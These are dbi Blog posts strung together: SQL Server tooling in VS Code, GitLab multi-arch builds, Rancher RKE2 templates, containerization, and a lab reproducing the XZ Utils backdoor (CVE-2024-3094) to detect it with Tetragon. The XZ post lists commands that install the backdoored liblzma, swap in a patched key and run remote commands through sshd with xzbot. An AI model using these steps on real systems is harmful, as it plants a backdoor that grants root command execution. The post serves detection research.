One new feature in preview is the “Schema Design compare” in this last MSSQL extension for Visual Studio Code:

Let’s start and see on a database (db2 in my example):

Et voila, I have my 2 tables created during the test on Schema Compare blog here

Now, I create a new table t3 with some columns:

Very easy to create a table without being a SQL Expert.

As you can see, you have easily access to the option and add some specific input like the size or a default value.

The table t3 is created with a primary key on column c1.

Now, I change my table t2 and want to put c1 as primary key.

To edit the table t2, just click on the pen:

In the edit table, I just check the column c1 as primary key:

And I have my primary key on table t2:

Now, I want do link between my 3 tables (this is named/known as a Foreign Key…)

First between t2 and t3, I go the side of the table t2 and a blue point appears. Take it and go to the table t3

Let’s try between the table t2 and the table t1

Aie! Error message:

• Failed to create a foreign key
• Column ‘c1’ must be a primary key

It’s very good to have this control and information.

This will help a lot of developers…

I will not continue more with the design.
It’s already and really a good tool to design our schema.

One good point is the export button to have the schema design as a picture with 3 formats possibilities svg ,png or jpeg.

No excuse to not do a documentation!

The definition button gives you the design script:

The last button to use is the Publish Changes:

I wait a little bit, and I have the resume of the design change:

I like the checkbox “I have read the summary and understand the potential risks” and I publish.

It’s just a discovery about the Schema design preview.

It will be a good help for developers.

See you soon for the next episode!

L’article SQL Server 2025: Local SQL Server Container – Schema design preview est apparu en premier sur dbi Blog.

One new feature in preview is the “schema compare” in this last extension for Visual Code:

I like new feature and now let’s go for a test!

I create 2 identically databases db1 & db2 with 2 tables and some data inside:

I do a select on both tables on both databases to see if everything is the same:

I run the “schema compare” to be sure I have everything is aligned:

I select the source “db1”, select the target “db2” and click on compare:

After few seconds (due to my small databases), we have the result:

Good! No schema differences were found! It’s a good start…

Now, I play and change a little bit the db1:

• On table t1:
  • Add a column c4
  • Drop a column c1
  • Change the data type of the column c2

• Create a new schema test2

• Transfer the table t2 from schema dbo to scema test2

• Create a new table t3

I run again the schema compare…

This time, we have a result:

I have all my change but like other tools it will delete the table dbo.t2 and create a new one test2.t2. This is not really the same as a schema transfer…

Otherwise, we see the missing table dbo.t2

I will now run the compare in the other way db2 as source and db1 as target:

I see now the delete of what I change on db1, then it’s good and fine except the schema transfer like usual…

I come back to my precedent comparison and this I use the “Switch Direction”:

I test now the script generation:

Et voila, I have my change script:

It will be very nice to use for developers but as you see in my post, you need to be careful with your change (schema change for tables), control and test the script generated before do it on Production databases!

See you soon for the next test on my Local SQL Server Container!

L’article SQL Server 2025: Local SQL Server Container – Schema compare preview est apparu en premier sur dbi Blog.

• Create and manage SQL Server containers locally without Docker commands
• Use SQL Server 2025 by default with vector and AI-ready features
• Auto-connect with a ready-to-use connection profile
• Start, stop, restart, or delete containers from the connection panel
• Automatic port conflict detection and resolution
• Customize container name, hostname, port, and version

See all Preview Features here

First Step: Download and install Visual Studio Code here

Second Step: Download and install MSSQL extension for Visual Studio Code here

You can also directly from Visual Code, download and install the extension:

I choose this easy way…

After few minutes, it’s ready to use:

Third Step: create the Local SQL Server Container

Go to the “SQL Server” tab, select the “Create Local SQL Container” in the “connections” menu:

Oups… I forget to install Docker:

Second Step BIS: Download and Install Docker on my desktop here

Et voila, Docker is installed:

After the restart, I go back to my SQL Server connection in Visual Code.

I see that I’m ready to start…

I can choose the SQL Server image until the version of SQL 2017:

I choose the SQL server 2025 version, enter a password and a profile name:

Check also Accept the Terms & Conditions after reading it of course like every time…

I press the button “Create Container”:

The are three steps:

• Creating Container
• Setting up container
• Connecting to Container

After few minutes, my container is online and ready to be use direclty:

Last Step: Test the connection with a query

I open a query and just do a SELECT @@Version and a SELECT @@Servername:

As you can see, we have the SQL server in version 2025 & Edition Developer on Linux Ubuntu installed without any Docker command to deploy it…

Conclusion

Very easy to install and do the first steps with this new feature and without any skills in Docker command…

I know a lot of developers who want to use it asap!

L’article SQL Server 2025: Local SQL Server Container without Docker Command est apparu en premier sur dbi Blog.

However, the diversification of processor architectures adds a new level of complexity to the creation of container images. Indeed, the construction has to cope with different instruction sets.

Docker buildx, the solution for building multi-architecture images

For the YaK project, we want to make amd64 (x86) and arm64 images available using GitLab CI/CD.

In order to create a build compatible with several architectures, I had to use “docker buildx” in my .gitlab-ci.yml file:

build:
  image: docker:latest
  stage: build
  services:
    - docker:dind
  before_script:
    - docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
    - docker buildx create --name yakbuilder --use
  script:
    - docker buildx build --pull --builder=yakbuilder --platform linux/amd64,linux/arm64 -t [IMG]:[TAG] --push .

How it works:

• In the "before_script" section , I initialize a QEMU container to emulate ARM architecture and to create a buildx context using the QEMU container
• In the "script" section itself, instead of a simple “docker build”, I use the "docker buildx build" command
• I also pass the buildx context created in the "before_script" with the --builder flag
• Finally, I add the list of architectures required for the build with the --platform flag

Build Result

With this method, the build is slower. That’s normal as several images are created (one per architecture) instead of just one.

The result can be seen in the GitLab container registry:

Now, below the image tag, a small “index” label is shown. This refers to the fact that several images are available for this tag. During the image pull, the container engine will choose the image version corresponding to its architecture.

Conclusion

With buildx and QEMU in GitLab CI/CD, building multi-architecture images is easy. You can manage different processor architectures and meet the needs of a wide range of users and ensure the compatibility of your container images.

L’article Building multi-architecture images with GitLab CI/CD est apparu en premier sur dbi Blog.

Setup an environment for CVE 2024-3094

We have learned that this vulnerability needs an x86 architecture to be exploited and that it targets several Linux distribution (source here). I’ve used an Ubuntu 22.04 virtual machine in Azure to setup the environment. To exploit this vulnerability, we’re going to use the GitHub resource here.

This vulnerability is related to the library liblzma.so used by the ssh daemon so let’s switch to the root user and install openssh-server along with other packages we will use later:

azureuser@Ubuntu22:~$ sudo -i

root@Ubuntu22:~# apt-get update && apt-get install -y golang-go curl openssh-server net-tools python3-pip wget vim git file bsdmainutils jq

Let’s use ssh key authentication (as this is how the vulnerable library can be exploited), start the ssh daemon and see which version of the library it uses:

root@Ubuntu22:~# which sshd
/usr/sbin/sshd
root@Ubuntu22:~# sed -E -i 's/^#?PasswordAuthentication .*/PasswordAuthentication no/' /etc/ssh/sshd_config

root@Ubuntu22:~# service ssh status
 * sshd is not running
root@Ubuntu22:~# service ssh start
 * Starting OpenBSD Secure Shell server sshd
root@Ubuntu22:~# service ssh status
 * sshd is running

root@Ubuntu22:~# ldd /usr/sbin/sshd|grep liblzma
	liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ae3aac37000)

root@Ubuntu22:~# file /lib/x86_64-linux-gnu/liblzma.so.5
/lib/x86_64-linux-gnu/liblzma.so.5: symbolic link to liblzma.so.5.2.5

Here it uses version 5.2.5, sometimes it uses version 5.4.5 from the tests I did on other distributions. The vulnerable versions are 5.6.0 and 5.6.1. So by default our machine is not vulnerable. To make it so, we need to upgrade this library to one of these vulnerable versions as shown below:

root@Ubuntu22:~# wget https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/liblzma5_5.6.1-1_amd64.deb

root@Ubuntu22:~# apt-get install --allow-downgrades --yes ./liblzma5_5.6.1-1_amd64.deb

root@Ubuntu22:~# file /lib/x86_64-linux-gnu/liblzma.so.5
/lib/x86_64-linux-gnu/liblzma.so.5: symbolic link to liblzma.so.5.6.1

We are now using the vulnerable library in version 5.6.1. Next we can use the files and xzbot tool from the GitHub project as shown below:

root@Ubuntu22:~# git clone https://github.com/amlweems/xzbot.git
root@Ubuntu22:~# cd xzbot/

To be able to exploit this vulnerability we can’t just use the vulnerable library. In fact the backdoor uses a hardcoded ED448 public key for signature and we don’t have the associated private key. To be able to trigger that backdoor, the author of the tool xzbot replaced them with their own key pair they’ve generated. We then need to replace the vulnerable library with the patched one using these keys as follows:

root@Ubuntu22:~# cp ./assets/liblzma.so.5.6.1.patch /lib/x86_64-linux-gnu/liblzma.so.5.6.1

Now everything is ready to exploit this vulnerability with the xzbot tool. We just need to compile it with the go package we installed at the beginning:

root@Ubuntu22:~# go build

root@Ubuntu22:~# ./xzbot -h
Usage of ./xzbot:
  -addr string
    	ssh server address (default "127.0.0.1:2222")
  -cmd string
    	command to run via system() (default "id > /tmp/.xz")
  -seed string
    	ed448 seed, must match xz backdoor key (default "0")

Detecting the backdoor with Tetragon

Let’s see now how we could use Tetragon to detect something by applying a Zero Trust strategy. At this stage we consider we don’t know anything about this vulnerability and we are using Tetragon as a security tool for our environment. Here we don’t use Kubernetes, we just have a Ubuntu 22.04 host but we can still use Tetragon by running it into a docker container.

We install docker in our machine by following the instructions described here:

root@Ubuntu22:~# sudo apt-get install ca-certificates curl
root@Ubuntu22:~# sudo install -m 0755 -d /etc/apt/keyrings
root@Ubuntu22:~# sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
root@Ubuntu22:~# sudo chmod a+r /etc/apt/keyrings/docker.asc

root@Ubuntu22:~# echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
root@Ubuntu22:~# sudo apt-get update

root@Ubuntu22:~# sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

Then we install Tetragon in a docker container by following the instructions here:

root@Ubuntu22:~# docker run --name tetragon --rm -d \
    --pid=host --cgroupns=host --privileged \
    -v /sys/kernel:/sys/kernel \
    quay.io/cilium/tetragon:v1.0.3 \
    /usr/bin/tetragon --export-filename /var/log/tetragon/tetragon.log

Tetragon – Backdoor detection

Now everything is ready and we can trigger the backdoor and see what Tetragon can observe. We open a new shell by using the azureuser. We jump into the Tetragon container and monitor the log file for anything related to ssh as shown below:

azureuser@Ubuntu22:~$ sudo docker exec -it 76dc8c268caa bash
76dc8c268caa:/# tail -f /var/log/tetragon/tetragon.log | grep ssh

In another shell (the one with the root user), we can start the exploit by using the xzbot tool. We execute the command sleep 60 so we can observe in real time what is happening:

root@Ubuntu22:~/xzbot# ./xzbot -addr 127.0.0.1:22 -cmd "sleep 60"

This is an example of a malicious actor connecting through the backdoor to get a shell on our compromised Ubuntu machine. Below is what we can see in our Tetragon shell (the output has been copied and pasted for being parsed with jq to provide a better reading and we’ve kept only the process execution event):

{
  "process_exec": {
    "process": {
      "exec_id": "OjIwNjAyNjc1NDE0MTU2OjE1NDY0MA==",
      "pid": 154640,
      "uid": 0,
      "cwd": "/",
      "binary": "/usr/sbin/sshd",
      "arguments": "-D -R",
      "flags": "execve rootcwd clone",
      "start_time": "2024-04-23T12:03:08.447280556Z",
      "auid": 4294967295,
      "parent_exec_id": "OjE0MTYwMDAwMDAwOjc0Mg==",
      "tid": 154640
    },
    "parent": {
      "exec_id": "OjE0MTYwMDAwMDAwOjc0Mg==",
      "pid": 742,
      "uid": 0,
      "cwd": "/",
      "binary": "/usr/sbin/sshd",
      "flags": "procFS auid rootcwd",
      "start_time": "2024-04-23T06:19:59.931865800Z",
      "auid": 4294967295,
      "parent_exec_id": "OjM4MDAwMDAwMDox",
      "tid": 742
    }
  },
  "time": "2024-04-23T12:03:08.447279856Z"
}
...
{
  "process_exec": {
    "process": {
      "exec_id": "OjIwNjAyOTk4NzY3ODU0OjE1NDY0Mg==",
      "pid": 154642,
      "uid": 0,
      "cwd": "/",
      "binary": "/bin/sh",
      "arguments": "-c \"sleep 60\"",
      "flags": "execve rootcwd clone",
      "start_time": "2024-04-23T12:03:08.770634054Z",
      "auid": 4294967295,
      "parent_exec_id": "OjIwNjAyNjc1NDE0MTU2OjE1NDY0MA==",
      "tid": 154642
    },
    "parent": {
      "exec_id": "OjIwNjAyNjc1NDE0MTU2OjE1NDY0MA==",
      "pid": 154640,
      "uid": 0,
      "cwd": "/",
      "binary": "/usr/sbin/sshd",
      "arguments": "-D -R",
      "flags": "execve rootcwd clone",
      "start_time": "2024-04-23T12:03:08.447280556Z",
      "auid": 4294967295,
      "parent_exec_id": "OjE0MTYwMDAwMDAwOjc0Mg==",
      "tid": 154640
    }
  },
  "time": "2024-04-23T12:03:08.770633854Z"
}

Here we have all the interesting information about the process as well as the link to its parent process. With Tetragon Entreprise we could have a graphical view of these linked processes. As we are using the Community Edition, we can use the ps command instead here to get a more graphical view as shown below:

azureuser@Ubuntu22:~$ ps -ef --forest
root         742       1  0 06:19 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 1 of 10-100 startups
root      154640     742  2 12:03 ?        00:00:00  \_ sshd: root [priv]
sshd      154641  154640  0 12:03 ?        00:00:00      \_ sshd: root [net]
root      154642  154640  0 12:03 ?        00:00:00      \_ sh -c sleep 60
root      154643  154642  0 12:03 ?        00:00:00          \_ sleep 60

The 2 processes highlighted above are those related to the Tetragon output. Let’s now see what Tetragon displays in case of a normal ssh connection.

Tetragon – Normal ssh connection

We first need to setup a pair of keys for the root user (to better compare it with the output above):

root@Ubuntu22:~# ssh-keygen

root@Ubuntu22:~# cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys

root@Ubuntu22:~# ssh root@127.0.0.1
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.5.0-1017-azure x86_64)

For the key generation we use the default folder with no passphase. We see we can connect with the root user to the localhost by using the generated keys. We can then use the same method as above to launch Tetragon and the ps command to capture this ssh connection. Here is what we can see with Tetragon:

{
  "process_exec": {
    "process": {
      "exec_id": "OjU1ODY3OTQ0NTI0ODY6NDc1MDE=",
      "pid": 47501,
      "uid": 0,
      "cwd": "/",
      "binary": "/usr/sbin/sshd",
      "arguments": "-D -R",
      "flags": "execve rootcwd clone",
      "start_time": "2024-04-23T07:52:52.566318686Z",
      "auid": 4294967295,
      "parent_exec_id": "OjE0MTYwMDAwMDAwOjc0Mg==",
      "tid": 47501
    },
    "parent": {
      "exec_id": "OjE0MTYwMDAwMDAwOjc0Mg==",
      "pid": 742,
      "uid": 0,
      "cwd": "/",
      "binary": "/usr/sbin/sshd",
      "flags": "procFS auid rootcwd",
      "start_time": "2024-04-23T06:19:59.931865800Z",
      "auid": 4294967295,
      "parent_exec_id": "OjM4MDAwMDAwMDox",
      "tid": 742
    }
  },
  "time": "2024-04-23T07:52:52.566318386Z"
}

{
  "process_exec": {
    "process": {
      "exec_id": "OjU1ODgxMzk5MjM5NjA6NDc2MDQ=",
      "pid": 47604,
      "uid": 0,
      "cwd": "/root",
      "binary": "/bin/bash",
      "flags": "execve clone",
      "start_time": "2024-04-23T07:52:53.911790360Z",
      "auid": 0,
      "parent_exec_id": "OjU1ODY3OTQ0NTI0ODY6NDc1MDE=",
      "tid": 47604
    },
    "parent": {
      "exec_id": "OjU1ODY3OTQ0NTI0ODY6NDc1MDE=",
      "pid": 47501,
      "uid": 0,
      "cwd": "/",
      "binary": "/usr/sbin/sshd",
      "arguments": "-D -R",
      "flags": "execve rootcwd clone",
      "start_time": "2024-04-23T07:52:52.566318686Z",
      "auid": 4294967295,
      "parent_exec_id": "OjE0MTYwMDAwMDAwOjc0Mg==",
      "tid": 47501
    }
  },
  "time": "2024-04-23T07:52:53.911789660Z"
}

And the output of the corresponding ps command:

azureuser@Ubuntu22:~$ ps -ef --forest
root         742       1  0 06:19 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root       45501     742 10 07:49 ?        00:00:00  \_ sshd: root@pts/1
root       47604   45501  0 07:49 pts/1    00:00:00      \_ -bash

You can see there is a difference but it is not easy to spot! In the normal connection it launches a bash under sshd and through the backdoor it is running a command with sh instead.

Wrap up

We have seen how we can leverage Tetragon to observe anything happening on this machine. Even for unknown threats, you get some information but you have to know first how your system is working in very details. You need to have a baseline for each running process on your machine to be able to detect any deviation. That is what we call the Zero Trust strategy and it is the only way to detect such stealthy backdoor.

It may seem tenuous and it is, however that is how Andres Freund discovered it when he noticed ssh was several milliseconds slower than it should. The famous adage says that the devil is in the detail, this backdoor discovery proves that this is especially true when it comes to security.

L’article Detect XZ Utils CVE 2024-3094 with Tetragon est apparu en premier sur dbi Blog.

Force the cluster name with RKE2 templates

Investigation

When searching how the cluster name is generated when provisioning, I found the following code in the Rancher GitHub repository.

func mgmtClusterName() (string, error) {
	rand, err := randomtoken.Generate()
	if err != nil {
		return "", err
	}
	return name.SafeConcatName("c", "m", rand[:8]), nil
}

From the function mgmtClusterName I was able to find the following code.

if mgmtClusterNameAnnVal, ok := cluster.Annotations[mgmtClusterNameAnn]; ok && mgmtClusterNameAnnVal != "" && newCluster.Name == "" {
	// If the management cluster name annotation is set to a non-empty value, and the mgmt cluster name has not been set yet, set the cluster name to the mgmt cluster name.
	newCluster.Name = mgmtClusterNameAnnVal
} else if newCluster.Name == "" {
	// If the management cluster name annotation is not set and the cluster name has not yet been generated, generate and set a new mgmt cluster name.
	mgmtName, err := mgmtClusterName()
	if err != nil {
		return nil, status, err
	}
	newCluster.Name = mgmtName
}

Which finally leads to the following annotation.

mgmtClusterNameAnn    = "provisioning.cattle.io/management-cluster-name"

Forced the management cluster name

To avoid using the generated Cluster Name given by mgmtClusterName(), we can add the following annotation “provisioning.cattle.io/management-cluster-name” into the cluster.provisioning.cattle.io resources.

We can pick the same code from the Rancher template example in ClusterRoleTemplateBinding and do the following.

apiVersion: provisioning.cattle.io/v1
kind: Cluster
metadata:
  annotations:
    provisioning.cattle.io/management-cluster-name: c-m-{{ trunc 8 (sha256sum (printf "%s/%s" $.Release.Namespace $.Values.cluster.name)) }}
  {{- if .Values.cluster.annotations }}
{{ toYaml .Values.cluster.annotations | indent 4 }}
  {{- end }}

The template code above will ensure that the management cluster name will always be the one we generated ourselves.
Now let’s check the ClusterRoleTemplateBinding resource for automatically assigning users and groups.

RKE2 ClusterRoleTemplateBinding

To predefined users and groups into the cluster, we can use the template clusterroletemplatebinding.yaml.

{{ $root := . }}
{{- range $index, $member := .Values.clusterMembers }}
apiVersion: management.cattle.io/v3
clusterName: c-m-{{ trunc 8 (sha256sum (printf "%s/%s" $root.Release.Namespace $root.Values.cluster.name)) }}
kind: ClusterRoleTemplateBinding
metadata:
  name: ctrb-{{ trunc 8 (sha256sum (printf "%s/%s/%s" $root.Release.Namespace $member.principalName $member.roleTemplateName )) }}
  namespace: c-m-{{ trunc 8 (sha256sum (printf "%s/%s" $root.Release.Namespace $root.Values.cluster.name)) }}
roleTemplateName: {{ $member.roleTemplateName }}
userPrincipalName: {{ $member.principalName }}
{{- end }}

For the metadata.name, I added the RoleTemplateName to avoid identical names if you add the same user with different roles.

In the values.yaml you will need to provide the following information:

clusterMembers:
- principalName: "local://u-xxxxx"
   roleTemplateName: "cluster-member"
- principalName: "local://u-xxxxx"
   roleTemplateName: "cluster-owner"

When using only local users, it is easier as you only specify local:// with the ID of the user. But if you use groups, you may not know what value to provide. The same applies to your custom roles. The easiest way is to manually assign your members, and read the YAML files created.

For this example, I am adding my GitHub group “teamA” as a cluster member, and a local user “autoscaler” as a cluster owner.

Now go to More Resources > RBAC > ClusterRoleBindings and sort by age.
You should find the values to specify for principalName and roleTemplateName.

New issues

When the cluster is created for the first time, Rancher automatically creates the namespace. ClusterRoleTemplateBinding needs to be deployed into this namespace. Therefore it cannot be created at the creation of the cluster. In addition, it needs to wait for the Cluster resources to be provisioned by Rancher.

helm install --generate-name=true --namespace=fleet-default --timeout=10m0s --values=/home/shell/helm/values-dbiservices-template-ec2-0.0.1.yaml --version=0.0.1 --wait=true /home/shell/helm/dbiservices-template-ec2-0.0.1.tgz
2024-02-28T12:57:21.998195671Z Error: INSTALLATION FAILED: 1 error occurred:
2024-02-28T12:57:21.998226718Z 	* namespaces "c-m-dc91e1f4" not found

or 

2024-03-04T11:48:15.121066673Z 	* admission webhook "rancher.cattle.io.clusterroletemplatebindings.management.cattle.io" denied the request: clusterroletemplatebinding.clusterName: Invalid value: "c-m-dc91e1f4": specified cluster c-m-dc91e1f4 not found

Therefore, to ensure the assignment of users, the Helm charts must be updated after being deployed the first time.

In the local > Apps > Installed Apps, in the fleet-default namespace, edit/update the App, and redeploy it.

You don’t need to change any values. It will deploy correctly the ClusterRoleTemplateBinding and assign the users/groups.

helm upgrade --history-max=5 --install=true --namespace=fleet-default --timeout=10m0s --values=/home/shell/helm/values-dbiservices-template-ec2-0.0.1.yaml --version=0.0.1 --wait=true dbiservices-template-ec2-0-1709125040 /home/shell/helm/dbiservices-template-ec2-0.0.1.tgz
2024-02-28T13:02:07.755854608Z checking 6 resources for changes
2024-02-28T13:02:07.770167607Z Patch Amazonec2Config "dbiservices-template-rke2-ec2-template-controlplane" in namespace fleet-default
2024-02-28T13:02:07.795076109Z Patch Amazonec2Config "dbiservices-template-rke2-ec2-template-workers" in namespace fleet-default
2024-02-28T13:02:07.831247897Z Patch Cluster "dbiservices-template-rke2-ec2" in namespace fleet-default
2024-02-28T13:02:07.931325393Z Created a new ClusterRoleTemplateBinding called "ctrb-d4063a0e" in c-m-dc91e1f4
2024-02-28T13:02:07.931347721Z 
2024-02-28T13:02:07.961962070Z Patch ManagedChart "monitoring-crd-dbiservices-template-rke2-ec2" in namespace fleet-default
2024-02-28T13:02:08.027434827Z Patch ManagedChart "monitoring-dbiservices-template-rke2-ec2" in namespace fleet-default
2024-02-28T13:02:08.065622593Z beginning wait for 6 resources with timeout of 10m0s
2024-02-28T13:02:08.126940145Z Release "dbiservices-template-ec2-0-1709125040" has been upgraded. Happy Helming!
2024-02-28T13:02:08.126959636Z NAME: dbiservices-template-ec2-0-1709125040
2024-02-28T13:02:08.126964700Z LAST DEPLOYED: Wed Feb 28 13:02:06 2024
2024-02-28T13:02:08.126969197Z NAMESPACE: fleet-default
2024-02-28T13:02:08.126973071Z STATUS: deployed
2024-02-28T13:02:08.126977312Z REVISION: 2
2024-02-28T13:02:08.126981410Z TEST SUITE: None
2024-02-28T13:02:08.150360499Z 
2024-02-28T13:02:08.150390675Z ---------------------------------------------------------------------
2024-02-28T13:02:08.156224976Z SUCCESS: helm upgrade --history-max=5 --install=true --namespace=fleet-default --timeout=10m0s --values=/home/shell/helm/values-dbiservices-template-ec2-0.0.1.yaml --version=0.0.1 --wait=true dbiservices-template-ec2-0-17091
/home/shell/helm/dbiservices-template-ec2-0.0.1.tgz
2024-02-28T13:02:08.157013523Z ---------------------------------------------------------------------

The following member roles have been created for the clusters and are showing in the cluster configuration.

- principalName: "local://u-g9bq8"
  roleTemplateName: "cluster-owner"
- principalName: "github_team://8426662"
  roleTemplateName: "cluster-member"
- principalName: "local://u-g9bq8"
  roleTemplateName: "rt-tz9xs"

Helm lookup

Due to that issue with the namespace, setting the management cluster name doesn’t bring much advantage, as we need to manually redeploy the App (cluster template) to assign the users/groups.

Therefore we can use Helm function lookup, which can directly read the cluster name from the Kubernetes local cluster. Same as precedent, we need to redeploy the App (cluster template) the first time as it needs multiple resources to be provisioned by Rancher first.

Here is the code for the clusterroletemplatebinding.yaml

{{- $root := . }}
{{- $fetchedcluster :=  (lookup "provisioning.cattle.io/v1" "Cluster" "fleet-default" .Values.cluster.name) }}
{{- if ($fetchedcluster.status| default nil).clusterName | default nil }}
  {{- range $index, $member := .Values.clusterMembers }}
---
apiVersion: management.cattle.io/v3
clusterName: {{ $fetchedcluster.status.clusterName }}
kind: ClusterRoleTemplateBinding
metadata:
  name: ctrb-{{ trunc 8 (sha256sum (printf "%s/%s/%s" $root.Release.Namespace $member.principalName $member.roleTemplateName )) }}
  namespace: {{ $fetchedcluster.status.clusterName }}
roleTemplateName: {{ $member.roleTemplateName }}
userPrincipalName: {{ $member.principalName }}
  {{- end }}
{{- end }}

It will look into fleet-default for the cluster.provisionning.catte.io/v1 that is created by the RKE2 templates itself. On the first deployment of the RKE2 templates, it doesn’t exist yet, therefore an “if” condition is added.
Once the RKE2 template is deployed, you can like precedently, edit the App to redeploy it, and it will then create the ClusterRoleTemplateBinding.

The helm install will show no errors as the ClusterRoleTemplateBinding resources are skipped.

helm install --generate-name=true --namespace=fleet-default --timeout=10m0s --values=/home/shell/helm/values-dbiservices-template-ec2-0.0.1.yaml --version=0.0.1 --wait=true /home/shell/helm/dbiservices-template-ec2-0.0.1.tgz
2024-02-28T13:18:48.886232477Z creating 5 resource(s)
beginning wait for 5 resources with timeout of 10m0s
2024-02-28T13:18:49.098629894Z NAME: dbiservices-template-ec2-0-1709126327
2024-02-28T13:18:49.098705783Z LAST DEPLOYED: Wed Feb 28 13:18:47 2024
NAMESPACE: fleet-default
STATUS: deployed
2024-02-28T13:18:49.098717154Z REVISION: 1
2024-02-28T13:18:49.098720727Z TEST SUITE: None
2024-02-28T13:18:49.126871035Z 
2024-02-28T13:18:49.126936065Z ---------------------------------------------------------------------
2024-02-28T13:18:49.135118662Z SUCCESS: helm install --generate-name=true --namespace=fleet-default --timeout=10m0s --values=/home/shell/helm/values-dbiservices-template-ec2-0.0.1.yaml --version=0.0.1 --wait=true /home/shell/helm/dbiservices-template-ec2-0.0.1.tgz
---------------------------------------------------------------------

And then, when redeploying the App, it does show the creation of the resources as the cluster name now exists.

helm upgrade --history-max=5 --install=true --namespace=fleet-default --timeout=10m0s --values=/home/shell/helm/values-dbiservices-template-ec2-0.0.1.yaml --version=0.0.1 --wait=true dbiservices-template-ec2-0-1709126327 /home/shell/helm/dbiservices-template-ec2-0.0.1.tgz
checking 8 resources for changes
Patch Amazonec2Config "kke-test-template-controlplane" in namespace fleet-default
Patch Amazonec2Config "kke-test-template-workers" in namespace fleet-default
Patch Cluster "kke-test" in namespace fleet-default
Created a new ClusterRoleTemplateBinding called "ctrb-96090621" in c-m-58wcfhnl
2024-02-28T13:24:13.652797054Z 
Created a new ClusterRoleTemplateBinding called "ctrb-2c866242" in c-m-58wcfhnl

Created a new ClusterRoleTemplateBinding called "ctrb-d4063a0e" in c-m-58wcfhnl
2024-02-28T13:24:13.689031588Z 
Patch ManagedChart "monitoring-crd-kke-test" in namespace fleet-default
Patch ManagedChart "monitoring-kke-test" in namespace fleet-default
beginning wait for 8 resources with timeout of 10m0s
Release "dbiservices-template-ec2-0-1709126327" has been upgraded. Happy Helming!
2024-02-28T13:24:13.872941208Z NAME: dbiservices-template-ec2-0-1709126327
2024-02-28T13:24:13.872946743Z LAST DEPLOYED: Wed Feb 28 13:24:11 2024
2024-02-28T13:24:13.872951269Z NAMESPACE: fleet-default
2024-02-28T13:24:13.872955002Z STATUS: deployed
2024-02-28T13:24:13.872958850Z REVISION: 4
2024-02-28T13:24:13.872962507Z TEST SUITE: None

---------------------------------------------------------------------
SUCCESS: helm upgrade --history-max=5 --install=true --namespace=fleet-default --timeout=10m0s --values=/home/shell/helm/values-dbiservices-template-ec2-0.0.1.yaml --version=0.0.1 --wait=true dbiservices-template-ec2-0-1709126327 /home/shell/helm/dbiservices-template-ec2-0.0.1.tgz
---------------------------------------------------------------------

Conclusion

The assignment of users/groups to a cluster through a template is not simple. My approach might be wrong but It was the first solution I thought of when I encountered the problem.
The issue of waiting for the creation (first deployment with Helm) is a little bit annoying but is not much of an issue when you are aware of redeploying the RKE2 template. Also if you use Fleet to continuously deploy/update managed clusters, you could add the values for member configuration after the first deployment to avoid managing through the UI like above.

Below is the link to the GitHub Repository branch for the RKE2 templates using a fixed management cluster name and Helm function lookup.

Sources

• Official documentation for RKE2 templates
  https://ranchermanager.docs.rancher.com/how-to-guides/new-user-guides/manage-clusters/manage-cluster-templates#rke2-cluster-template
• GitHub Branch for clusterroles
  https://github.com/kkedbi/cluster-template-examples/tree/clusterroles

Blog

• RKE2 Autoscaling
  https://www.dbi-services.com/blog/rancher-autoscaler-enable-rke2-node-autoscaling/
• Reestablish administrator role access to rancher users
  https://www.dbi-services.com/blog/reestablish-administrator-role-access-to-rancher-users/
• Introduction and RKE2 cluster template for AWS EC2
  https://www.dbi-services.com/blog/rancher-rke2-cluster-templates-for-aws-ec2

L’article Rancher RKE2 templates – Assign members to clusters est apparu en premier sur dbi Blog.

The Current Status

Your application is running for a while now but you came to realize of a few limitations. Your application being monolithic, it is not easy to scale because the frontend requirement is different than the backend database. The frontend needs to absorb a changing amount of traffic that will vary during the days for example. On the other end, the database just needs redundancy.

Your application is successful and you need to deploy more frontend to cope with the increase of traffic. With your current application design, that means deploying another frontend and backend on another server. Then you may need to repeat that operation again and now your application is clumsy. Each frontend writes into its own database but this is not a good practice. Instead we should have for example two databases (one active, one standby) and several frontend that will all write into the same active database. These data are then regularly replicated in the standby one.

Third Acceleration

A better way to design our application is to split the frontend and the backend into two separate packages. We can then decorrelate both components and deploy them separately. We can now increase the number of frontend as we need without touching the backend.

Another improvement is to install each of these both components in a separate Virtual Machine (VM) instead of a physical server. Having a VM allows the developer to have its own separated environment to deploy your application. He could then pass that VM to the operation team, it should work right away. It is good for the operation to also do some tests, however for the production, it will be better to reconstruct the whole environment cleanly. Also the VMs are not easily scalable so this is only a small improvement. The intent here is to give you a comparison example between a VM and a container we will see in the next section.

The speed of your TTM at this stage is as shown below:

Forth Acceleration

At this stage what can improve our TTM is to leverage containerization. A container is different than a VM because he doesn’t contain the whole Operating System, it just contains what it needs to operate. So it is smaller in size and start faster than a VM.

You have now to convert your application into containers. Basically each component will be a separate container. Depending of the size of your application as well as the number of developers that are working on it, you may have to split the frontend itself into several containers. The good practice is to put one function into one container and keep the whole loosely connected. Each container stays independent and can be upgraded without impacting the others. This process is called containerization and your application can now be called a microservice or cloud-native. In case you meet these words, you will now know what they mean: An application that is now a group of containers working together.

To keep it simple, we will just have 2 containers. One for the frontend and one for the backend. The script we used in part 1 to create the environment and install the application is now replaced by a set of instructions used to build what we call an image. This image then contains all the environment and dependencies required by the application. This image is immutable and can be passed on to the operation that can safely use it in production. It is cleaner than a VM and much smaller so that is a preferred choice.

A container will use that image and run it to make the component up and running. A container can be killed and re-created very quickly. Also it is very easy to add frontend capacity for example by just launching a new container with the frontend image. However this creation is still manual as the container can’t scale automatically.

The speed of our TTM improved again:

Fifth Acceleration

